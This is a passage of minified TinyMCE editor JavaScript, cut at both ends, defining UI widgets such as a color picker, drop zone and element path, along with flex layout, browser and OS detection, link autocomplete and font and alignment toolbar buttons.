r.hideMenu()},hideMenu:function(){this.menu&&this.menu.hide()},bindStates:function(){var r=this;r.state.on("change:value",function(e){r.getEl("inp").value!==e.value&&(r.getEl("inp").value=e.value)}),r.state.on("change:disabled",function(e){r.getEl("inp").disabled=e.value}),r.state.on("change:statusLevel",function(e){var t=r.getEl("status"),n=r.classPrefix,i=e.value;we.css(t,"display","none"===i?"none":""),we.toggleClass(t,n+"i-checkmark","ok"===i),we.toggleClass(t,n+"i-warning","warn"===i),we.toggleClass(t,n+"i-error","error"===i),r.classes.toggle("has-status","none"!==i),r.repaint()}),we.on(r.getEl("status"),"mouseleave",function(){r.tooltip().hide()}),r.on("cancel",function(e){r.menu&&r.menu.visible()&&(e.stopPropagation(),r.hideMenu())});var n=function(e,t){t&&0<t.items().length&&t.items().eq(e)[0].focus()};return r.on("keydown",function(e){var t=e.keyCode;"INPUT"===e.target.nodeName&&(t===Zt.DOWN?(e.preventDefault(),r.fire("autocomplete"),n(0,r.menu)):t===Zt.UP&&(e.preventDefault(),n(-1,r.menu)))}),r._super()},remove:function(){ye(this.getEl("inp")).off(),this.menu&&this.menu.remove(),this._super()}}),en=Qt.extend({init:function(e){var t=this;e.spellcheck=!1,e.onaction&&(e.icon="none"),t._super(e),t.classes.add("colorbox"),t.on("change keyup postrender",function(){t.repaintColor(t.value())})},repaintColor:function(e){var t=this.getEl("open"),n=t?t.getElementsByTagName("i")[0]:null;if(n)try{n.style.background=e}catch(i){}},bindStates:function(){var t=this;return t.state.on("change:value",function(e){t.state.get("rendered")&&t.repaintColor(e.value)}),t._super()}}),tn=jt.extend({showPanel:function(){var t=this,e=t.settings;if(t.classes.add("opened"),t.panel)t.panel.show();else{var n=e.panel;n.type&&(n={layout:"grid",items:n}),n.role=n.role||"dialog",n.popover=!0,n.autohide=!0,n.ariaRoot=!0,t.panel=new Ct(n).on("hide",function(){t.classes.remove("opened")}).on("cancel",function(e){e.stopPropagation(),t.focus(),t.hidePanel()}).parent(t).renderTo(t.getContainerElm()),t.panel.fire("show"),t.panel.reflow()}var i=t.panel.testMoveRel(t.getEl(),e.popoverAlign||(t.isRtl()?["bc-tc","bc-tl","bc-tr"]:["bc-tc","bc-tr","bc-tl","tc-bc","tc-br","tc-bl"]));t.panel.classes.toggle("start","l"===i.substr(-1)),t.panel.classes.toggle("end","r"===i.substr(-1));var r="t"===i.substr(0,1);t.panel.classes.toggle("bottom",!r),t.panel.classes.toggle("top",r),t.panel.moveRel(t.getEl(),i)},hidePanel:function(){this.panel&&this.panel.hide()},postRender:function(){var t=this;return t.aria("haspopup",!0),t.on("click",function(e){e.control===t&&(t.panel&&t.panel.visible()?t.hidePanel():(t.showPanel(),t.panel.focus(!!e.aria)))}),t._super()},remove:function(){return this.panel&&(this.panel.remove(),this.panel=null),this._super()}}),nn=p.DOM,rn=tn.extend({init:function(e){this._super(e),this.classes.add("splitbtn"),this.classes.add("colorbutton")},color:function(e){return e?(this._color=e,this.getEl("preview").style.backgroundColor=e,this):this._color},resetColor:function(){return this._color=null,this.getEl("preview").style.backgroundColor=null,this},renderHtml:function(){var e=this,t=e._id,n=e.classPrefix,i=e.state.get("text"),r=e.settings.icon?n+"ico "+n+"i-"+e.settings.icon:"",o=e.settings.image?" style=\"background-image: url('"+e.settings.image+"')\"":"",s="";return i&&(e.classes.add("btn-has-text"),s='<span class="'+n+'txt">'+e.encode(i)+"</span>"),'<div id="'+t+'" class="'+e.classes+'" role="button" tabindex="-1" aria-haspopup="true"><button role="presentation" hidefocus="1" type="button" tabindex="-1">'+(r?'<i class="'+r+'"'+o+"></i>":"")+'<span id="'+t+'-preview" class="'+n+'preview"></span>'+s+'</button><button type="button" class="'+n+'open" hidefocus="1" tabindex="-1"> <i class="'+n+'caret"></i></button></div>'},postRender:function(){var t=this,n=t.settings.onclick;return t.on("click",function(e){e.aria&&"down"===e.aria.key||e.control!==t||nn.getParent(e.target,"."+t.classPrefix+"open")||(e.stopImmediatePropagation(),n.call(t,e))}),delete t.settings.onclick,t._super()}}),on=tinymce.util.Tools.resolve("tinymce.util.Color"),sn=Nt.extend({Defaults:{classes:"widget colorpicker"},init:function(e){this._super(e)},postRender:function(){var n,i,r,o,s,a=this,l=a.color();function u(e,t){var n,i,r=we.getPos(e);return n=t.pageX-r.x,i=t.pageY-r.y,{x:n=Math.max(0,Math.min(n/e.clientWidth,1)),y:i=Math.max(0,Math.min(i/e.clientHeight,1))}}function c(e,t){var n=(360-e.h)/360;we.css(r,{top:100*n+"%"}),t||we.css(s,{left:e.s+"%",top:100-e.v+"%"}),o.style.background=on({s:100,v:100,h:e.h}).toHex(),a.color().parse({s:e.s,v:e.v,h:e.h})}function e(e){var t;t=u(o,e),n.s=100*t.x,n.v=100*(1-t.y),c(n),a.fire("change")}function t(e){var t;t=u(i,e),(n=l.toHsv()).h=360*(1-t.y),c(n,!0),a.fire("change")}i=a.getEl("h"),r=a.getEl("hp"),o=a.getEl("sv"),s=a.getEl("svp"),a._repaint=function(){c(n=l.toHsv())},a._super(),a._svdraghelper=new ct(a._id+"-sv",{start:e,drag:e}),a._hdraghelper=new ct(a._id+"-h",{start:t,drag:t}),a._repaint()},rgb:function(){return this.color().toRgb()},value:function(e){if(!arguments.length)return this.color().toHex();this.color().parse(e),this._rendered&&this._repaint()},color:function(){return this._color||(this._color=on()),this._color},renderHtml:function(){var e,t=this._id,o=this.classPrefix,s="#ff0000,#ff0080,#ff00ff,#8000ff,#0000ff,#0080ff,#00ffff,#00ff80,#00ff00,#80ff00,#ffff00,#ff8000,#ff0000";return e='<div id="'+t+'-h" class="'+o+'colorpicker-h" style="background: -ms-linear-gradient(top,'+s+");background: linear-gradient(to bottom,"+s+');">'+function(){var e,t,n,i,r="";for(n="filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr=",e=0,t=(i=s.split(",")).length-1;e<t;e++)r+='<div class="'+o+'colorpicker-h-chunk" style="height:'+100/t+"%;"+n+i[e]+",endColorstr="+i[e+1]+");-ms-"+n+i[e]+",endColorstr="+i[e+1]+')"></div>';return r}()+'<div id="'+t+'-hp" class="'+o+'colorpicker-h-marker"></div></div>','<div id="'+t+'" class="'+this.classes+'"><div id="'+t+'-sv" class="'+o+'colorpicker-sv"><div class="'+o+'colorpicker-overlay1"><div class="'+o+'colorpicker-overlay2"><div id="'+t+'-svp" class="'+o+'colorpicker-selector1"><div class="'+o+'colorpicker-selector2"></div></div></div></div></div>'+e+"</div>"}}),an=Nt.extend({init:function(e){e=w.extend({height:100,text:"Drop an image here",multiple:!1,accept:null},e),this._super(e),this.classes.add("dropzone"),e.multiple&&this.classes.add("multiple")},renderHtml:function(){var e,t,n=this.settings;return e={id:this._id,hidefocus:"1"},t=we.create("div",e,"<span>"+this.translate(n.text)+"</span>"),n.height&&we.css(t,"height",n.height+"px"),n.width&&we.css(t,"width",n.width+"px"),t.className=this.classes,t.outerHTML},postRender:function(){var i=this,e=function(e){e.preventDefault(),i.classes.toggle("dragenter"),i.getEl().className=i.classes};i._super(),i.$el.on("dragover",function(e){e.preventDefault()}),i.$el.on("dragenter",e),i.$el.on("dragleave",e),i.$el.on("drop",function(e){if(e.preventDefault(),!i.state.get("disabled")){var t=function(e){var t=i.settings.accept;if("string"!=typeof t)return e;var n=new RegExp("("+t.split(/\s*,\s*/).join("|")+")$","i");return w.grep(e,function(e){return n.test(e.name)})}(e.dataTransfer.files);i.value=function(){return t.length?i.settings.multiple?t:t[0]:null},t.length&&i.fire("change",e)}})},remove:function(){this.$el.off(),this._super()}}),ln=Nt.extend({init:function(e){var n=this;e.delimiter||(e.delimiter="\xbb"),n._super(e),n.classes.add("path"),n.canFocus=!0,n.on("click",function(e){var t;(t=e.target.getAttribute("data-index"))&&n.fire("select",{value:n.row()[t],index:t})}),n.row(n.settings.row)},focus:function(){return this.getEl().firstChild.focus(),this},row:function(e){return arguments.length?(this.state.set("row",e),this):this.state.get("row")},renderHtml:function(){return'<div id="'+this._id+'" class="'+this.classes+'">'+this._getDataPathHtml(this.state.get("row"))+"</div>"},bindStates:function(){var t=this;return t.state.on("change:row",function(e){t.innerHtml(t._getDataPathHtml(e.value))}),t._super()},_getDataPathHtml:function(e){var t,n,i=e||[],r="",o=this.classPrefix;for(t=0,n=i.length;t<n;t++)r+=(0<t?'<div class="'+o+'divider" aria-hidden="true"> '+this.settings.delimiter+" </div>":"")+'<div role="button" class="'+o+"path-item"+(t===n-1?" "+o+"last":"")+'" data-index="'+t+'" tabindex="-1" id="'+this._id+"-"+t+'" aria-level="'+(t+1)+'">'+i[t].name+"</div>";return r||(r='<div class="'+o+'path-item">\xa0</div>'),r}}),un=ln.extend({postRender:function(){var o=this,s=o.settings.editor;function a(e){if(1===e.nodeType){if("BR"===e.nodeName||e.getAttribute("data-mce-bogus"))return!0;if("bookmark"===e.getAttribute("data-mce-type"))return!0}return!1}return!1!==s.settings.elementpath&&(o.on("select",function(e){s.focus(),s.selection.select(this.row()[e.index].element),s.nodeChanged()}),s.on("nodeChange",function(e){for(var t=[],n=e.parents,i=n.length;i--;)if(1===n[i].nodeType&&!a(n[i])){var r=s.fire("ResolveName",{name:n[i].nodeName.toLowerCase(),target:n[i]});if(r.isDefaultPrevented()||t.push({name:r.name,element:n[i]}),r.isPropagationStopped())break}o.row(t)})),o._super()}}),cn=lt.extend({Defaults:{layout:"flex",align:"center",defaults:{flex:1}},renderHtml:function(){var e=this,t=e._layout,n=e.classPrefix;return e.classes.add("formitem"),t.preRender(e),'<div id="'+e._id+'" class="'+e.classes+'" hidefocus="1" tabindex="-1">'+(e.settings.title?'<div id="'+e._id+'-title" class="'+n+'title">'+e.settings.title+"</div>":"")+'<div id="'+e._id+'-body" class="'+e.bodyClasses+'">'+(e.settings.html||"")+t.renderHtml(e)+"</div></div>"}}),dn=lt.extend({Defaults:{containerCls:"form",layout:"flex",direction:"column",align:"stretch",flex:1,padding:15,labelGap:30,spacing:10,callbacks:{submit:function(){this.submit()}}},preRender:function(){var i=this,e=i.items();i.settings.formItemDefaults||(i.settings.formItemDefaults={layout:"flex",autoResize:"overflow",defaults:{flex:1}}),e.each(function(e){var t,n=e.settings.label;n&&((t=new cn(w.extend({items:{type:"label",id:e._id+"-l",text:n,flex:0,forId:e._id,disabled:e.disabled()}},i.settings.formItemDefaults))).type="formitem",e.aria("labelledby",e._id+"-l"),"undefined"==typeof e.settings.flex&&(e.settings.flex=1),i.replace(e,t),t.add(e))})},submit:function(){return this.fire("submit",{data:this.toJSON()})},postRender:function(){this._super(),this.fromJSON(this.settings.data)},bindStates:function(){var n=this;function e(){var e,t,i=0,r=[];if(!1!==n.settings.labelGapCalc)for(("children"===n.settings.labelGapCalc?n.find("formitem"):n.items()).filter("formitem").each(function(e){var t=e.items()[0],n=t.getEl().clientWidth;i=i<n?n:i,r.push(t)}),t=n.settings.labelGap||0,e=r.length;e--;)r[e].settings.minWidth=i+t}n._super(),n.on("show",e),e()}}),fn=dn.extend({Defaults:{containerCls:"fieldset",layout:"flex",direction:"column",align:"stretch",flex:1,padding:"25 15 5 15",labelGap:30,spacing:10,border:1},renderHtml:function(){var e=this,t=e._layout,n=e.classPrefix;return e.preRender(),t.preRender(e),'<fieldset id="'+e._id+'" class="'+e.classes+'" hidefocus="1" tabindex="-1">'+(e.settings.title?'<legend id="'+e._id+'-title" class="'+n+'fieldset-title">'+e.settings.title+"</legend>":"")+'<div id="'+e._id+'-body" class="'+e.bodyClasses+'">'+(e.settings.html||"")+t.renderHtml(e)+"</div></fieldset>"}}),hn=0,mn=function(e){if(null===e||e===undefined)throw new Error("Node cannot be null or undefined");return{dom:k(e)}},gn={fromHtml:function(e,t){var n=(t||_.document).createElement("div");if(n.innerHTML=e,!n.hasChildNodes()||1<n.childNodes.length)throw _.console.error("HTML does not have a single root node",e),new Error("HTML must have a single root node");return mn(n.childNodes[0])},fromTag:function(e,t){var n=(t||_.document).createElement(e);return mn(n)},fromText:function(e,t){var n=(t||_.document).createTextNode(e);return mn(n)},fromDom:mn,fromPoint:function(e,t,n){var i=e.dom();return N.from(i.elementFromPoint(t,n)).map(mn)}},pn=(_.Node.ATTRIBUTE_NODE,_.Node.CDATA_SECTION_NODE,_.Node.COMMENT_NODE,_.Node.DOCUMENT_NODE),vn=(_.Node.DOCUMENT_TYPE_NODE,_.Node.DOCUMENT_FRAGMENT_NODE,_.Node.ELEMENT_NODE),bn=(_.Node.TEXT_NODE,_.Node.PROCESSING_INSTRUCTION_NODE,_.Node.ENTITY_REFERENCE_NODE,_.Node.ENTITY_NODE,_.Node.NOTATION_NODE,"undefined"!=typeof _.window?_.window:Function("return this;")(),function(e,t){var n=function(e,t){for(var n=0;n<e.length;n++){var i=e[n];if(i.test(t))return i}return undefined}(e,t);if(!n)return{major:0,minor:0};var i=function(e){return Number(t.replace(n,"$"+e))};return xn(i(1),i(2))}),yn=function(){return xn(0,0)},xn=function(e,t){return{major:e,minor:t}},wn={nu:xn,detect:function(e,t){var n=String(t).toLowerCase();return 0===e.length?yn():bn(e,n)},unknown:yn},_n="Firefox",Rn=function(e,t){return function(){return t===e}},Cn=function(e){var t=e.current;return{current:t,version:e.version,isEdge:Rn("Edge",t),isChrome:Rn("Chrome",t),isIE:Rn("IE",t),isOpera:Rn("Opera",t),isFirefox:Rn(_n,t),isSafari:Rn("Safari",t)}},En={unknown:function(){return Cn({current:undefined,version:wn.unknown()})},nu:Cn,edge:k("Edge"),chrome:k("Chrome"),ie:k("IE"),opera:k("Opera"),firefox:k(_n),safari:k("Safari")},kn="Windows",Hn="Android",Sn="Solaris",Tn="FreeBSD",Mn=function(e,t){return function(){return t===e}},Nn=function(e){var t=e.current;return{current:t,version:e.version,isWindows:Mn(kn,t),isiOS:Mn("iOS",t),isAndroid:Mn(Hn,t),isOSX:Mn("OSX",t),isLinux:Mn("Linux",t),isSolaris:Mn(Sn,t),isFreeBSD:Mn(Tn,t)}},Pn={unknown:function(){return Nn({current:undefined,version:wn.unknown()})},nu:Nn,windows:k(kn),ios:k("iOS"),android:k(Hn),linux:k("Linux"),osx:k("OSX"),solaris:k(Sn),freebsd:k(Tn)},Wn=function(e,t){var n=String(t).toLowerCase();return function(e,t){for(var n=0,i=e.length;n<i;n++){var r=e[n];if(t(r,n))return N.some(r)}return N.none()}(e,function(e){return e.search(n)})},Dn=function(e,n){return Wn(e,n).map(function(e){var t=wn.detect(e.versionRegexes,n);return{current:e.name,version:t}})},On=function(e,n){return Wn(e,n).map(function(e){var t=wn.detect(e.versionRegexes,n);return{current:e.name,version:t}})},An=function(e,t){return-1!==e.indexOf(t)},Bn=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,Ln=function(t){return function(e){return An(e,t)}},zn=[{name:"Edge",versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(e){return An(e,"edge/")&&An(e,"chrome")&&An(e,"safari")&&An(e,"applewebkit")}},{name:"Chrome",versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,Bn],search:function(e){return An(e,"chrome")&&!An(e,"chromeframe")}},{name:"IE",versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(e){return An(e,"msie")||An(e,"trident")}},{name:"Opera",versionRegexes:[Bn,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:Ln("opera")},{name:"Firefox",versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:Ln("firefox")},{name:"Safari",versionRegexes:[Bn,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(e){return(An(e,"safari")||An(e,"mobile/"))&&An(e,"applewebkit")}}],In=[{name:"Windows",search:Ln("win"),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:"iOS",search:function(e){return An(e,"iphone")||An(e,"ipad")},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:"Android",search:Ln("android"),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:"OSX",search:Ln("os x"),versionRegexes:[/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:"Linux",search:Ln("linux"),versionRegexes:[]},{name:"Solaris",search:Ln("sunos"),versionRegexes:[]},{name:"FreeBSD",search:Ln("freebsd"),versionRegexes:[]}],Fn={browsers:k(zn),oses:k(In)},Un=function(e){var t,n,i,r,o,s,a,l,u,c,d,f=Fn.browsers(),h=Fn.oses(),m=Dn(f,e).fold(En.unknown,En.nu),g=On(h,e).fold(Pn.unknown,Pn.nu);return{browser:m,os:g,deviceType:(n=m,i=e,r=(t=g).isiOS()&&!0===/ipad/i.test(i),o=t.isiOS()&&!r,s=t.isAndroid()&&3===t.version.major,a=t.isAndroid()&&4===t.version.major,l=r||s||a&&!0===/mobile/i.test(i),u=t.isiOS()||t.isAndroid(),c=u&&!l,d=n.isSafari()&&t.isiOS()&&!1===/safari/i.test(i),{isiPad:k(r),isiPhone:k(o),isTablet:k(l),isPhone:k(c),isTouch:k(u),isAndroid:t.isAndroid,isiOS:t.isiOS,isWebView:k(d)})}},Vn=(Vt=!(Ft=function(){var e=_.navigator.userAgent;return Un(e)}),function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return Vt||(Vt=!0,Ut=Ft.apply(null,e)),Ut}),Yn=vn,$n=pn,qn=function(e){return e.nodeType!==Yn&&e.nodeType!==$n||0===e.childElementCount},Xn=(Vn().browser.isIE(),function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t]}("element","offset"),w.trim),jn=function(t){return function(e){if(e&&1===e.nodeType){if(e.contentEditable===t)return!0;if(e.getAttribute("data-mce-contenteditable")===t)return!0}return!1}},Jn=jn("true"),Gn=jn("false"),Kn=function(e,t,n,i,r){return{type:e,title:t,url:n,level:i,attach:r}},Zn=function(e){return e.innerText||e.textContent},Qn=function(e){return e.id?e.id:(t="h",n=(new Date).getTime(),t+"_"+Math.floor(1e9*Math.random())+ ++hn+String(n));var t,n},ei=function(e){return(t=e)&&"A"===t.nodeName&&(t.id||t.name)&&ni(e);var t},ti=function(e){return e&&/^(H[1-6])$/.test(e.nodeName)},ni=function(e){return function(e){for(;e=e.parentNode;){var t=e.contentEditable;if(t&&"inherit"!==t)return Jn(e)}return!1}(e)&&!Gn(e)},ii=function(e){return ti(e)&&ni(e)},ri=function(e){var t,n=Qn(e);return Kn("header",Zn(e),"#"+n,ti(t=e)?parseInt(t.nodeName.substr(1),10):0,function(){e.id=n})},oi=function(e){var t=e.id||e.name,n=Zn(e);return Kn("anchor",n||"#"+t,"#"+t,0,E)},si=function(e){var t,n,i,r,o,s;return t="h1,h2,h3,h4,h5,h6,a:not([href])",n=e,G((Vn().browser.isIE(),function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t]}("element","offset"),i=gn.fromDom(n),r=t,s=(o=i)===undefined?_.document:o.dom(),qn(s)?[]:G(s.querySelectorAll(r),gn.fromDom)),function(e){return e.dom()})},ai=function(e){return 0<Xn(e.title).length},li=function(e){var t,n=si(e);return Z((t=n,G(Z(t,ii),ri)).concat(G(Z(n,ei),oi)),ai)},ui={},ci=function(e){return{title:e.title,value:{title:{raw:e.title},url:e.url,attach:e.attach}}},di=function(e,t){return{title:e,value:{title:e,url:t,attach:E}}},fi=function(e,t,n){var i=t in e?e[t]:n;return!1===i?null:i},hi=function(e,i,r,t){var n,o,s,a,l,u,c={title:"-"},d=function(e){var t=e.hasOwnProperty(r)?e[r]:[],n=Z(t,function(e){return t=e,!J(i,function(e){return e.url===t});var t});return w.map(n,function(e){return{title:e,value:{title:e,url:e,attach:E}}})},f=function(t){var e,n=Z(i,function(e){return e.type===t});return e=n,w.map(e,ci)};return!1===t.typeahead_urls?[]:"file"===r?(n=[mi(e,d(ui)),mi(e,f("header")),mi(e,(a=f("anchor"),l=fi(t,"anchor_top","#top"),u=fi(t,"anchor_bottom","#bottom"),null!==l&&a.unshift(di("<top>",l)),null!==u&&a.push(di("<bottom>",u)),a))],o=function(e,t){return 0===e.length||0===t.length?e.concat(t):e.concat(c,t)},s=[],K(n,function(e){s=o(s,e)}),s):mi(e,d(ui))},mi=function(e,t){var n=e.toLowerCase(),i=w.grep(t,function(e){return-1!==e.title.toLowerCase().indexOf(n)});return 1===i.length&&i[0].title===e?[]:i},gi=function(r,i,o,s){var t=function(e){var t=li(o),n=hi(e,t,s,i);r.showAutoComplete(n,e)};r.on("autocomplete",function(){t(r.value())}),r.on("selectitem",function(e){var t=e.value;r.value(t.url);var n,i=(n=t.title).raw?n.raw:n;"image"===s?r.fire("change",{meta:{alt:i,attach:t.attach}}):r.fire("change",{meta:{text:i,attach:t.attach}}),r.focus()}),r.on("click",function(e){0===r.value().length&&"INPUT"===e.target.nodeName&&t("")}),r.on("PostRender",function(){r.getRoot().on("submit",function(e){var t,n,i;e.isDefaultPrevented()||(t=r.value(),i=ui[n=s],/^https?/.test(t)&&(i?j(i,t).isNone()&&(ui[n]=i.slice(0,5).concat(t)):ui[n]=[t]))})})},pi=function(o,e,n){var i=e.filepicker_validator_handler;i&&o.state.on("change:value",function(e){var t;0!==(t=e.value).length?i({url:t,type:n},function(e){var t,n,i,r=(n=(t=e).status,i=t.message,"valid"===n?{status:"ok",message:i}:"unknown"===n?{status:"warn",message:i}:"invalid"===n?{status:"warn",message:i}:{status:"none",message:""});o.statusMessage(r.message),o.statusLevel(r.status)}):o.statusLevel("none")})},vi=Qt.extend({Statics:{clearHistory:function(){ui={}}},init:function(e){var t,n,i,r=this,o=window.tinymce?window.tinymce.activeEditor:l.activeEditor,s=o.settings,a=e.filetype;e.spellcheck=!1,(i=s.file_picker_types||s.file_browser_callback_types)&&(i=w.makeMap(i,/[, ]/)),i&&!i[a]||(!(n=s.file_picker_callback)||i&&!i[a]?!(n=s.file_browser_callback)||i&&!i[a]||(t=function(){n(r.getEl("inp").id,r.value(),a,window)}):t=function(){var e=r.fire("beforecall").meta;e=w.extend({filetype:a},e),n.call(o,function(e,t){r.value(e).fire("change",{meta:t})},r.value(),e)}),t&&(e.icon="browse",e.onaction=t),r._super(e),r.classes.add("filepicker"),gi(r,s,o.getBody(),a),pi(r,s,a)}}),bi=Xt.extend({recalc:function(e){var t=e.layoutRect(),n=e.paddingBox;e.items().filter(":visible").each(function(e){e.layoutRect({x:n.left,y:n.top,w:t.innerW-n.right-n.left,h:t.innerH-n.top-n.bottom}),e.recalc&&e.recalc()})}}),yi=Xt.extend({recalc:function(e){var t,n,i,r,o,s,a,l,u,c,d,f,h,m,g,p,v,b,y,x,w,_,R,C,E,k,H,S,T,M,N,P,W,D,O,A,B,L=[],z=Math.max,I=Math.min;for(i=e.items().filter(":visible"),r=e.layoutRect(),o=e.paddingBox,s=e.settings,f=e.isRtl()?s.direction||"row-reversed":s.direction,a=s.align,l=e.isRtl()?s.pack||"end":s.pack,u=s.spacing||0,"row-reversed"!==f&&"column-reverse"!==f||(i=i.set(i.toArray().reverse()),f=f.split("-")[0]),"column"===f?(C="y",_="h",R="minH",E="maxH",H="innerH",k="top",S="deltaH",T="contentH",D="left",P="w",M="x",N="innerW",W="minW",O="right",A="deltaW",B="contentW"):(C="x",_="w",R="minW",E="maxW",H="innerW",k="left",S="deltaW",T="contentW",D="top",P="h",M="y",N="innerH",W="minH",O="bottom",A="deltaH",B="contentH"),d=r[H]-o[k]-o[k],w=c=0,t=0,n=i.length;t<n;t++)m=(h=i[t]).layoutRect(),d-=t<n-1?u:0,0<(g=h.settings.flex)&&(c+=g,m[E]&&L.push(h),m.flex=g),d-=m[R],w<(p=o[D]+m[W]+o[O])&&(w=p);if((y={})[R]=d<0?r[R]-d+r[S]:r[H]-d+r[S],y[W]=w+r[A],y[T]=r[H]-d,y[B]=w,y.minW=I(y.minW,r.maxW),y.minH=I(y.minH,r.maxH),y.minW=z(y.minW,r.startMinWidth),y.minH=z(y.minH,r.startMinHeight),!r.autoResize||y.minW===r.minW&&y.minH===r.minH){for(b=d/c,t=0,n=L.length;t<n;t++)(v=(m=(h=L[t]).layoutRect())[E])<(p=m[R]+m.flex*b)?(d-=m[E]-m[R],c-=m.flex,m.flex=0,m.maxFlexSize=v):m.maxFlexSize=0;for(b=d/c,x=o[k],y={},0===c&&("end"===l?x=d+o[k]:"center"===l?(x=Math.round(r[H]/2-(r[H]-d)/2)+o[k])<0&&(x=o[k]):"justify"===l&&(x=o[k],u=Math.floor(d/(i.length-1)))),y[M]=o[D],t=0,n=i.length;t<n;t++)p=(m=(h=i[t]).layoutRect()).maxFlexSize||m[R],"center"===a?y[M]=Math.round(r[N]/2-m[P]/2):"stretch"===a?(y[P]=z(m[W]||0,r[N]-o[D]-o[O]),y[M]=o[D]):"end"===a&&(y[M]=r[N]-m[P]-o.top),0<m.flex&&(p+=m.flex*b),y[_]=p,y[C]=x,h.layoutRect(y),h.recalc&&h.recalc(),x+=p+u}else if(y.w=y.minW,y.h=y.minH,e.layoutRect(y),this.recalc(e),null===e._lastRect){var F=e.parent();F&&(F._lastRect=null,F.recalc())}}}),xi=qt.extend({Defaults:{containerClass:"flow-layout",controlClass:"flow-layout-item",endClass:"break"},recalc:function(e){e.items().filter(":visible").each(function(e){e.recalc&&e.recalc()})},isNative:function(){return!0}}),wi=function(e,t){return n=t,r=(i=e)===undefined?_.document:i.dom(),qn(r)?N.none():N.from(r.querySelector(n)).map(gn.fromDom);var n,i,r},_i=function(e,t){return function(){e.execCommand("mceToggleFormat",!1,t)}},Ri=function(e,t,n){var i=function(e){n(e,t)};e.formatter?e.formatter.formatChanged(t,i):e.on("init",function(){e.formatter.formatChanged(t,i)})},Ci=function(e,n){return function(t){Ri(e,n,function(e){t.control.active(e)})}},Ei=function(i){var t=["alignleft","aligncenter","alignright","alignjustify"],r="alignleft",e=[{text:"Left",icon:"alignleft",onclick:_i(i,"alignleft")},{text:"Center",icon:"aligncenter",onclick:_i(i,"aligncenter")},{text:"Right",icon:"alignright",onclick:_i(i,"alignright")},{text:"Justify",icon:"alignjustify",onclick:_i(i,"alignjustify")}];i.addMenuItem("align",{text:"Align",menu:e}),i.addButton("align",{type:"menubutton",icon:r,menu:e,onShowMenu:function(e){var n=e.control.menu;w.each(t,function(t,e){n.items().eq(e).each(function(e){return e.active(i.formatter.match(t))})})},onPostRender:function(e){var n=e.control;w.each(t,function(t,e){Ri(i,t,function(e){n.icon(r),e&&n.icon(t)})})}}),w.each({alignleft:["Align left","JustifyLeft"],aligncenter:["Align center","JustifyCenter"],alignright:["Align right","JustifyRight"],alignjustify:["Justify","JustifyFull"],alignnone:["No alignment","JustifyNone"]},function(e,t){i.addButton(t,{active:!1,tooltip:e[0],cmd:e[1],onPostRender:Ci(i,t)})})},ki=function(e){return e?e.split(",")[0]:""},Hi=function(l,u){return function(){var a=this;a.state.set("value",null),l.on("init nodeChange",function(e){var t,n,i,r,o=l.queryCommandValue("FontName"),s=(t=u,r=(n=o)?n.toLowerCase():"",w.each(t,function(e){e.value.toLowerCase()===r&&(i=e.value)}),w.each(t,function(e){i||ki(e.value).toLowerCase()!==ki(r).toLowerCase()||(i=e.value)}),i);a.value(s||null),!s&&o&&a.text(ki(o))})}},Si=function(n){n.addButton("fontselect",function(){var e,t=(e=function(e){for(var t=(e=e.replace(/;$/,"").split(";")).length;t--;)e[t]=e[t].split("=");return e}(n.settings.font_formats||"Andale Mono=andale mono,monospace;Arial=arial,helvetica,sans-serif;Arial Black=arial black,sans-serif;Book Antiqua=book antiqua,palatino,serif;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier,monospace;Georgia=georgia,palatino,serif;Helvetica=helvetica,arial,sans-serif;Impact=impact,sans-serif;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco,monospace;Times New Roman=times new roman,times,serif;Trebuchet MS=trebuchet ms,geneva,sans-serif;Verdana=verdana,geneva,sans-serif;Webdings=webdings;Wingdings=wingdings,zapf dingbats"),w.map(e,function(e){return{text:{raw:e[0]},value:e[1],textStyle:-1===e[1].indexOf("dings")?"font-family:"+e[1]:""}}));return{type:"listbox",text:"Font Family",tooltip:"Font Family",values:t,fixedWidth:!0,onPostRender:Hi(n,t),onselect:function(e){e.control.settings.value&&n.execCommand("FontName",!1,e.control.settings.value)}}})},Ti=function(e){Si(e)},Mi=function(e,t){return/[0-9.]+px$/.test(e)?(n=72*parseInt(e,10)/96,i=t||0,r=Math.pow(10,i),Math.round(n*r)/r+"pt"):e;var n,i,r},Ni=function(e,t,n){var i;return w.each(e,function(e){e.value===n?i=n:e.value===t&&(i=t)}),i},Pi=function(n){n.addButton("fontsizeselect",function(){var e,s,a,t=(e=n.settings.fontsize_formats||"8pt 10pt 12pt 14pt 18pt 24pt 36pt",w.map(e.split(" "),function(e){var t=e,n=e,i=e.split("=");return 1<i.length&&(t=i[0],n=i[1]),{text:t,value:n}}));return{type:"listbox",text:"Font Sizes",tooltip:"Font Sizes",values:t,fixedWidth:!0,onPostRender:(s=n,a=t,function(){var o=this;s.on("init nodeChange",function(e){var t,n,i,r;if(t=s.queryCommandValue("FontSize"))for(i=3;!r&&0<=i;i--)n=Mi(t,i),r=Ni(a,n,t);o.value(r||null),r||o.text(n)})}),onclick:function(e){e.control.settings.value&&n.execCommand("FontSize",!1,e.control.settings.value)}}})},Wi=function(e){Pi(e)},Di=function(n,e){var i=e.length;return w.each(e,function(e){e.menu&&(e.hidden=0===Di(n,e.menu));var t=e.format;t&&(e.hidden=!n.formatter.canApply(t)),e.hidden&&i--}),i},Oi=function(n,e){var i=e.items().length;return 